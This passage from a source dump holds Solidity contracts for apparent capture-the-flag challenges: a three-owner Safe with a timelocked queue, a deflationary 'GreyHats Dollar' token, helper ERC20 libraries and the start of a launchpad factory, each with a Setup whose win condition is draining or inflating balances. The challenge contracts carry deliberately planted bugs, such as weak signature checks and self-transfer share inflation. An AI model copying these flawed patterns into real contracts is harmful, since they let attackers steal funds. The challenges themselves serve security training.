internal virtual { 194 | _mint(to, id); 195 | 196 | require( 197 | to.code.length == 0 || 198 | ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") == 199 | ERC721TokenReceiver.onERC721Received.selector, 200 | "UNSAFE_RECIPIENT" 201 | ); 202 | } 203 | 204 | function _safeMint( 205 | address to, 206 | uint256 id, 207 | bytes memory data 208 | ) internal virtual { 209 | _mint(to, id); 210 | 211 | require( 212 | to.code.length == 0 || 213 | ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) == 214 | ERC721TokenReceiver.onERC721Received.selector, 215 | "UNSAFE_RECIPIENT" 216 | ); 217 | } 218 | } 219 | 220 | /// @notice A generic interface for a contract which properly accepts ERC721 tokens. 221 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC721.sol) 222 | abstract contract ERC721TokenReceiver { 223 | function onERC721Received( 224 | address, 225 | address, 226 | uint256, 227 | bytes calldata 228 | ) external virtual returns (bytes4) { 229 | return ERC721TokenReceiver.onERC721Received.selector; 230 | } 231 | } -------------------------------------------------------------------------------- /src/escrow/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/escrow/lib/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity >=0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC-20 standard as defined in the ERC. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the value of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the value of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves a `value` amount of tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 value) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets a `value` amount of tokens as the allowance of `spender` over the 54 | * caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 value) external returns (bool); 68 | 69 | /** 70 | * @dev Moves a `value` amount of tokens from `from` to `to` using the 71 | * allowance mechanism. `value` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address from, address to, uint256 value) external returns (bool); 79 | } -------------------------------------------------------------------------------- /src/gnosis-unsafe/Safe.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { ISafe } from "./interfaces/ISafe.sol"; 5 | 6 | contract Safe is ISafe { 7 | uint256 public constant OWNER_COUNT = 3; 8 | 9 | uint256 public constant VETO_DURATION = 1 minutes; 10 | 11 | address[OWNER_COUNT] public owners; 12 | 13 | mapping(bytes32 => uint256) internal queueHashToTimestamp; 14 | 15 | mapping(bytes32 => bool) internal transactionExecuted; 16 | 17 | constructor(address[OWNER_COUNT] memory _owners) { 18 | _setupOwners(_owners); 19 | } 20 | 21 | // ======================================= MODIFIERS ====================================== 22 | 23 | modifier onlySelf() { 24 | if (msg.sender != address(this)) revert NotAuthorized(); 25 | _; 26 | } 27 | 28 | modifier onlyOwner() { 29 | if (!isOwner(msg.sender)) revert NotAuthorized(); 30 | _; 31 | } 32 | 33 | // ======================================= PERMISSIONED FUNCTIONS ====================================== 34 | 35 | /** 36 | * @notice Replaces a current owner with a new owner. 37 | * 38 | * @param ownerIndex The index of the owner to replace. 39 | * @param newOwner The new owner address. 40 | */ 41 | function replaceOwner(uint256 ownerIndex, address newOwner) external onlySelf { 42 | if (ownerIndex >= OWNER_COUNT) revert InvalidIndex(); 43 | if (newOwner == address(0)) revert OwnerCannotBeZeroAddress(); 44 | 45 | for (uint256 i = 0; i < OWNER_COUNT; i++) { 46 | if (owners[i] == newOwner) { 47 | revert DuplicateOwner(); 48 | } 49 | } 50 | 51 | owners[ownerIndex] = newOwner; 52 | } 53 | 54 | /** 55 | * @notice Allow owners to veto a queued transaction. 56 | * 57 | * @param queueHash The hash of the queued transaction. 58 | */ 59 | function vetoTransaction(bytes32 queueHash) external onlyOwner { 60 | uint256 queueTimestamp = queueHashToTimestamp[queueHash]; 61 | if (queueTimestamp == 0) revert TransactionNotQueued(); 62 | if (block.timestamp >= queueTimestamp + VETO_DURATION) revert NotInVetoPeriod(); 63 | 64 | delete queueHashToTimestamp[queueHash]; 65 | } 66 | 67 | // ========================================= MUTATIVE FUNCTIONS ======================================== 68 | 69 | /** 70 | * @notice Allow users to queue transactions. 71 | * 72 | * @param v The v value of signatures from all owners. 73 | * @param r The r value of signatures from all owners. 74 | * @param s The s value of signatures from all owners. 75 | * @param transaction The transaction to execute. 76 | * @return queueHash The hash of the queued transaction. 77 | */ 78 | function queueTransaction( 79 | uint8[OWNER_COUNT] calldata v, 80 | bytes32[OWNER_COUNT] calldata r, 81 | bytes32[OWNER_COUNT] calldata s, 82 | Transaction calldata transaction 83 | ) external returns (bytes32 queueHash) { 84 | if (!isOwner(transaction.signer)) revert SignerIsNotOwner(); 85 | 86 | queueHash = keccak256(abi.encode( 87 | transaction, 88 | v, 89 | r, 90 | s 91 | )); 92 | 93 | queueHashToTimestamp[queueHash] = block.timestamp; 94 | } 95 | 96 | /** 97 | * @notice Execute a queued transaction. 98 | * 99 | * @param v The v value of signatures from all owners. 100 | * @param r The r value of signatures from all owners. 101 | * @param s The s value of signatures from all owners. 102 | * @param transaction The transaction to execute. 103 | * @param signatureIndex The index of the signature to use. 104 | * @return success Whether the executed transaction succeeded. 105 | * @return returndata Return data from the executed transaction. 106 | */ 107 | function executeTransaction( 108 | uint8[OWNER_COUNT] calldata v, 109 | bytes32[OWNER_COUNT] calldata r, 110 | bytes32[OWNER_COUNT] calldata s, 111 | Transaction calldata transaction, 112 | uint256 signatureIndex 113 | ) external payable returns (bool success, bytes memory returndata) { 114 | if (signatureIndex >= OWNER_COUNT) revert InvalidIndex(); 115 | 116 | bytes32 queueHash = keccak256(abi.encode( 117 | transaction, 118 | v, 119 | r, 120 | s 121 | )); 122 | 123 | uint256 queueTimestamp = queueHashToTimestamp[queueHash]; 124 | if (queueTimestamp == 0) revert TransactionNotQueued(); 125 | if (block.timestamp < queueTimestamp + VETO_DURATION) revert StillInVetoPeriod(); 126 | 127 | bytes32 txHash = keccak256(abi.encode(transaction)); 128 | if (transactionExecuted[txHash]) revert TransactionAlreadyExecuted(); 129 | 130 | address signer = ecrecover( 131 | txHash, 132 | v[signatureIndex], 133 | r[signatureIndex], 134 | s[signatureIndex] 135 | ); 136 | if (signer != transaction.signer) revert InvalidSignature(); 137 | 138 | transactionExecuted[txHash] = true; 139 | (success, returndata) = transaction.to.call{ value: transaction.value }(transaction.data); 140 | } 141 | 142 | // ========================================= VIEW FUNCTIONS ======================================== 143 | 144 | /** 145 | * @notice Check is an address is an owner. 146 | * 147 | * @param owner The address to check for. 148 | * @return Whether the address is an owner. 149 | */ 150 | function isOwner(address owner) public view returns (bool) { 151 | for (uint256 i = 0; i < OWNER_COUNT; i++) { 152 | if (owner == owners[i]) { 153 | return true; 154 | } 155 | } 156 | return false; 157 | } 158 | 159 | // ========================================= HELPERS ======================================== 160 | 161 | /** 162 | * @notice Initialize owners for the safe. 163 | * 164 | * @param newOwners The addresses of all owners. 165 | */ 166 | function _setupOwners(address[OWNER_COUNT] memory newOwners) internal { 167 | for (uint256 i = 0; i < OWNER_COUNT; i++) { 168 | if (newOwners[i] == address(0)) revert OwnerCannotBeZeroAddress(); 169 | owners[i] = newOwners[i]; 170 | } 171 | } 172 | 173 | receive() external payable {} 174 | } -------------------------------------------------------------------------------- /src/gnosis-unsafe/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import { GREY } from "./lib/GREY.sol"; 5 | import { Safe } from "./Safe.sol"; 6 | 7 | contract Setup { 8 | bool public claimed; 9 | 10 | // GREY token 11 | GREY public grey; 12 | 13 | // Challenge contracts 14 | Safe public safe; 15 | 16 | constructor() { 17 | // Deploy the GREY token contract 18 | grey = new GREY(); 19 | 20 | // Deploy safe with dead owners 21 | safe = new Safe([address(0x1337), address(0xdead), address(0xdeadbeef)]); 22 | 23 | // Mint 10,000 GREY to the safe 24 | grey.mint(address(safe), 10_000e18); 25 | } 26 | 27 | // Note: Call this function to claim 1000 GREY for the challenge 28 | function claim() external { 29 | require(!claimed, "already claimed"); 30 | claimed = true; 31 | 32 | grey.mint(msg.sender, 1000e18); 33 | } 34 | 35 | // Note: Challenge is solved when the safe has been drained 36 | function isSolved() external view returns (bool) { 37 | return grey.balanceOf(address(safe)) == 0 && grey.balanceOf(msg.sender) >= 10_000e18; 38 | } 39 | } -------------------------------------------------------------------------------- /src/gnosis-unsafe/interfaces/ISafe.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | interface ISafe { 5 | struct Transaction { 6 | address signer; 7 | address to; 8 | uint256 value; 9 | bytes data; 10 | } 11 | 12 | error DuplicateOwner(); 13 | error InvalidIndex(); 14 | error InvalidSignature(); 15 | error NotAuthorized(); 16 | error NotInVetoPeriod(); 17 | error OwnerCannotBeZeroAddress(); 18 | error SignerIsNotOwner(); 19 | error StillInVetoPeriod(); 20 | error TransactionAlreadyExecuted(); 21 | error TransactionNotQueued(); 22 | 23 | function OWNER_COUNT() external view returns (uint256); 24 | 25 | function VETO_DURATION() external view returns (uint256); 26 | 27 | function executeTransaction( 28 | uint8[3] memory v, 29 | bytes32[3] memory r, 30 | bytes32[3] memory s, 31 | Transaction memory transaction, 32 | uint256 signatureIndex 33 | ) external payable returns (bool success, bytes memory returndata); 34 | 35 | function isOwner(address owner) external view returns (bool); 36 | 37 | function owners(uint256) external view returns (address); 38 | 39 | function queueTransaction( 40 | uint8[3] memory v, 41 | bytes32[3] memory r, 42 | bytes32[3] memory s, 43 | Transaction memory transaction 44 | ) external returns (bytes32 queueHash); 45 | 46 | function replaceOwner(uint256 ownerIndex, address newOwner) external; 47 | 48 | function vetoTransaction(bytes32 queueHash) external; 49 | } -------------------------------------------------------------------------------- /src/gnosis-unsafe/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/greyhats-dollar/GHD.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./lib/IERC20.sol"; 5 | import { FixedPointMathLib } from "./lib/FixedPointMathLib.sol"; 6 | 7 | /// @title GHD 8 | /// @notice The GHD contract. 9 | contract GHD { 10 | using FixedPointMathLib for uint256; 11 | 12 | string constant public name = "GreyHats Dollar"; 13 | string constant public symbol = "GHD"; 14 | uint8 constant public decimals = 18; 15 | 16 | event Transfer(address indexed from, address indexed to, uint256 amount); 17 | event Approval(address indexed owner, address indexed spender, uint256 amount); 18 | 19 | uint256 public constant ONE_YEAR = 365 days; 20 | 21 | IERC20 public immutable underlyingAsset; 22 | 23 | uint256 public immutable deflationRatePerSecond; 24 | 25 | mapping(address => mapping(address => uint256)) public allowance; 26 | 27 | mapping(address => uint256) private shares; 28 | 29 | uint256 private totalShares; 30 | 31 | uint256 private conversionRate = FixedPointMathLib.WAD; 32 | 33 | uint256 private lastUpdated; 34 | 35 | /** 36 | * @param _underlyingAsset The underlying asset token contract. 37 | * @param _deflationRate The yearly deflation rate. 38 | */ 39 | constructor(address _underlyingAsset, uint256 _deflationRate) { 40 | require(_deflationRate <= FixedPointMathLib.WAD, "deflation rate larger than 1e18"); 41 | 42 | underlyingAsset = IERC20(_underlyingAsset); 43 | deflationRatePerSecond = _deflationRate / ONE_YEAR; 44 | lastUpdated = block.timestamp; 45 | } 46 | 47 | // ========================================= MODIFIERS ======================================== 48 | 49 | /** 50 | * @notice Updates the conversion rate between GHD and the underlying asset. 51 | */ 52 | modifier update { 53 | conversionRate = _conversionRate(); 54 | lastUpdated = block.timestamp; 55 | 56 | _; 57 | } 58 | 59 | // ========================================= MUTATIVE FUNCTIONS ======================================== 60 | 61 | /** 62 | * @notice Mint GHD in exchange for the underlying asset. 63 | * 64 | * @param amount The amount of GHD to mint. 65 | */ 66 | function mint(uint256 amount) external update { 67 | uint256 _shares = _GHDToShares(amount, conversionRate, false); 68 | 69 | totalShares += _shares; 70 | shares[msg.sender] += _shares; 71 | 72 | underlyingAsset.transferFrom(msg.sender, address(this), amount); 73 | 74 | emit Transfer(address(0), msg.sender, amount); 75 | } 76 | 77 | /** 78 | * @notice Burn GHD in return for the underlying asset. 79 | * 80 | * @param amount The amount of GHD to burn. 81 | */ 82 | function burn(uint256 amount) external update { 83 | uint256 _shares = _GHDToShares(amount, conversionRate, true); 84 | 85 | totalShares -= _shares; 86 | shares[msg.sender] -= _shares; 87 | 88 | underlyingAsset.transfer(msg.sender, amount); 89 | 90 | emit Transfer(msg.sender, address(0), amount); 91 | } 92 | 93 | /** 94 | * @notice Transfer GHD to another address. 95 | * 96 | * @param to The address that receives GHD. 97 | * @param amount The amount of GHD to transfer. 98 | * @return Whether the transfer succeeded. 99 | */ 100 | function transfer(address to, uint256 amount) external update returns (bool) { 101 | return transferFrom(msg.sender, to, amount); 102 | } 103 | 104 | /** 105 | * @notice Transfer GHD from one address to another. 106 | * 107 | * @param from The address that transfers GHD. 108 | * @param to The address that receives GHD. 109 | * @param amount The amount of GHD to transfer. 110 | * @return Whether the transfer succeeded. 111 | */ 112 | function transferFrom( 113 | address from, 114 | address to, 115 | uint256 amount 116 | ) public update returns (bool) { 117 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 118 | 119 | uint256 _shares = _GHDToShares(amount, conversionRate, false); 120 | uint256 fromShares = shares[from] - _shares; 121 | uint256 toShares = shares[to] + _shares; 122 | 123 | require( 124 | _sharesToGHD(fromShares, conversionRate, false) < balanceOf(from), 125 | "amount too small" 126 | ); 127 | require( 128 | _sharesToGHD(toShares, conversionRate, false) > balanceOf(to), 129 | "amount too small" 130 | ); 131 | 132 | shares[from] = fromShares; 133 | shares[to] = toShares; 134 | 135 | emit Transfer(from, to, amount); 136 | 137 | return true; 138 | } 139 | 140 | /** 141 | * @notice Grant another address allowance to transfer your GHD. 142 | * 143 | * @param spender The address that gets the allowance. 144 | * @param amount The amount of allowance to grant. 145 | * @return Whether the approval succeeded. 146 | */ 147 | function approve(address spender, uint256 amount) external returns (bool) { 148 | allowance[msg.sender][spender] = amount; 149 | 150 | emit Approval(msg.sender, spender, amount); 151 | 152 | return true; 153 | } 154 | 155 | // ============================================ VIEW FUNCTIONS =========================================== 156 | 157 | /** 158 | * @notice Calculate the GHD balance of an address. 159 | * 160 | * @param user The address that holds GHD. 161 | * @return The GHD balance of the user. 162 | */ 163 | function balanceOf(address user) public view returns (uint256) { 164 | return _sharesToGHD(shares[user], _conversionRate(), false); 165 | } 166 | 167 | /** 168 | * @notice Calculate the total supply of GHD. 169 | * 170 | * @return The GHD total supply. 171 | */ 172 | function totalSupply() external view returns (uint256) { 173 | return _sharesToGHD(totalShares, _conversionRate(), false); 174 | } 175 | 176 | // ============================================== HELPERS =============================================== 177 | 178 | function _conversionRate() internal view returns (uint256) { 179 | uint256 timePassed = block.timestamp - lastUpdated; 180 | uint256 multiplier = deflationRatePerSecond * timePassed; 181 | return conversionRate - conversionRate.mulWadDown(multiplier); 182 | } 183 | 184 | function _sharesToGHD( 185 | uint256 _shares, 186 | uint256 _rate, 187 | bool roundUp 188 | ) internal pure returns (uint256) { 189 | return roundUp ? _shares.mulWadUp(_rate) : _shares.mulWadDown(_rate); 190 | } 191 | 192 | function _GHDToShares( 193 | uint256 _balance, 194 | uint256 _rate, 195 | bool roundUp 196 | ) internal pure returns (uint256) { 197 | return roundUp ? _balance.divWadUp(_rate) : _balance.divWadDown(_rate); 198 | } 199 | } -------------------------------------------------------------------------------- /src/greyhats-dollar/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import { GREY } from "./lib/GREY.sol"; 5 | import { GHD } from "./GHD.sol"; 6 | 7 | contract Setup { 8 | bool public claimed; 9 | 10 | // GREY token 11 | GREY public grey; 12 | 13 | // Challenge contracts 14 | GHD public ghd; 15 | 16 | // Note: Deflation rate is set to 3% per year 17 | uint256 public constant DEFLATION_RATE = 0.03e18; 18 | 19 | constructor() { 20 | // Deploy the GREY token contract 21 | grey = new GREY(); 22 | 23 | // Deploy challenge contracts 24 | ghd = new GHD(address(grey), DEFLATION_RATE); 25 | } 26 | 27 | // Note: Call this function to claim 1000 GREY for the challenge 28 | function claim() external { 29 | require(!claimed, "already claimed"); 30 | claimed = true; 31 | 32 | grey.mint(msg.sender, 1000e18); 33 | } 34 | 35 | // Note: Challenge is solved when you have at least 50,000 GHD 36 | function isSolved() external view returns (bool) { 37 | return ghd.balanceOf(msg.sender) >= 50_000e18; 38 | } 39 | } -------------------------------------------------------------------------------- /src/greyhats-dollar/lib/FixedPointMathLib.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | pragma solidity ^0.8.0; 3 | 4 | /// @title FixedPointMathLib 5 | /// @notice Library to manage fixed-point arithmetic. 6 | library FixedPointMathLib { 7 | uint256 constant WAD = 1e18; 8 | 9 | /// @dev Returns (x * y) / WAD rounded down. 10 | function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 11 | return mulDivDown(x, y, WAD); 12 | } 13 | 14 | /// @dev Returns (x * y) / WAD rounded up. 15 | function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 16 | return mulDivUp(x, y, WAD); 17 | } 18 | 19 | /// @dev Returns (x * WAD) / y rounded down. 20 | function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 21 | return mulDivDown(x, WAD, y); 22 | } 23 | 24 | /// @dev Returns (x * WAD) / y rounded up. 25 | function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 26 | return mulDivUp(x, WAD, y); 27 | } 28 | 29 | /// @dev Returns (x * y) / d rounded down. 30 | function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) { 31 | return (x * y) / d; 32 | } 33 | 34 | /// @dev Returns (x * y) / d rounded up. 35 | function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) { 36 | return (x * y + (d - 1)) / d; 37 | } 38 | } -------------------------------------------------------------------------------- /src/greyhats-dollar/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/greyhats-dollar/lib/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity >=0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC-20 standard as defined in the ERC. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the value of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the value of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves a `value` amount of tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 value) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets a `value` amount of tokens as the allowance of `spender` over the 54 | * caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 value) external returns (bool); 68 | 69 | /** 70 | * @dev Moves a `value` amount of tokens from `from` to `to` using the 71 | * allowance mechanism. `value` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address from, address to, uint256 value) external returns (bool); 79 | } -------------------------------------------------------------------------------- /src/launchpad/Factory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.20; 3 | 4 | import {Owned} from "./lib/solmate/Owned.sol"; 5 | import {FixedPointMathLib} from "./lib/solmate/FixedPointMathLib.sol"; 6 | import {IUniswapV2Factory} from "./lib/v2-core/interfaces/IUniswapV2Factory.sol"; 7 | import {IUniswapV2Pair} from "./lib/v2-core/interfaces/IUniswapV2Pair.sol"; 8 | import {GREY} from "./lib/GREY.sol"; 9 | import {Token} from "./Token.sol"; 10 | 11 | contract Factory is Owned { 12 | using FixedPointMathLib for uint256; 13 | 14 | error MinimumLiquidityTooSmall(); 15 | error TargetGREYRaisedTooLarge(); 16 | error TargetGREYRaisedReached(); 17 | error TargetGREYRaisedNotReached(); 18 | error InsufficientAmountIn(); 19 | error InsufficientAmountOut(); 20 | error InsufficientLiquidity(); 21 | error InsufficientGREYLiquidity(); 22 | error InvalidToken(); 23 | 24 | event TokenCreated(address indexed token, address indexed creator); 25 | event TokenBought(address indexed user, address indexed token, uint256 indexed ethAmount, uint256 tokenAmount); 26 | event TokenSold(address indexed user, address indexed token, uint256 indexed ethAmount, uint256 tokenAmount); 27 | event TokenLaunched(address indexed token, address indexed uniswapV2Pair); 28 | 29 | struct Pair { 30 | uint256 virtualLiquidity; 31 | uint256 reserveGREY; 32 | uint256 reserveToken; 33 | } 34 | 35 | uint256 public constant MINIMUM_VIRTUAL_LIQUIDITY = 0.01 ether; 36 | 37 | GREY public immutable grey; 38 | 39 | IUniswapV2Factory public immutable uniswapV2Factory; 40 | 41 | // Amount of "fake" GREY liquidity each pair starts with 42 | uint256 public virtualLiquidity; 43 | 44 | // Amount of GREY to be raised for bonding to end 45 | uint256 public targetGREYRaised; 46 | 47 | // Reserves and additional info for each token 48 | mapping(address => Pair) public pairs; 49 | 50 | // ======================================== CONSTRUCTOR ======================================== 51 | 52 | constructor(address _grey, address _uniswapV2Factory, uint256 _virtualLiquidity, uint256 _targetGREYRaised) 53 | Owned(msg.sender) 54 | { 55 | if (_virtualLiquidity < MINIMUM_VIRTUAL_LIQUIDITY) { 56 | revert MinimumLiquidityTooSmall(); 57 | } 58 | 59 | grey = GREY(_grey); 60 | uniswapV2Factory = IUniswapV2Factory(_uniswapV2Factory); 61 | 62 | virtualLiquidity = _virtualLiquidity; 63 | targetGREYRaised = _targetGREYRaised; 64 | } 65 | 66 | // ======================================== ADMIN FUNCTIONS ======================================== 67 | 68 | function setVirtualLiquidity(uint256 _virtualLiquidity) external onlyOwner { 69 | if (_virtualLiquidity < MINIMUM_VIRTUAL_LIQUIDITY) { 70 | revert MinimumLiquidityTooSmall(); 71 | } 72 | 73 | virtualLiquidity = _virtualLiquidity; 74 | } 75 | 76 | function setTargetGREYRaised(uint256 _targetGREYRaised) external onlyOwner { 77 | 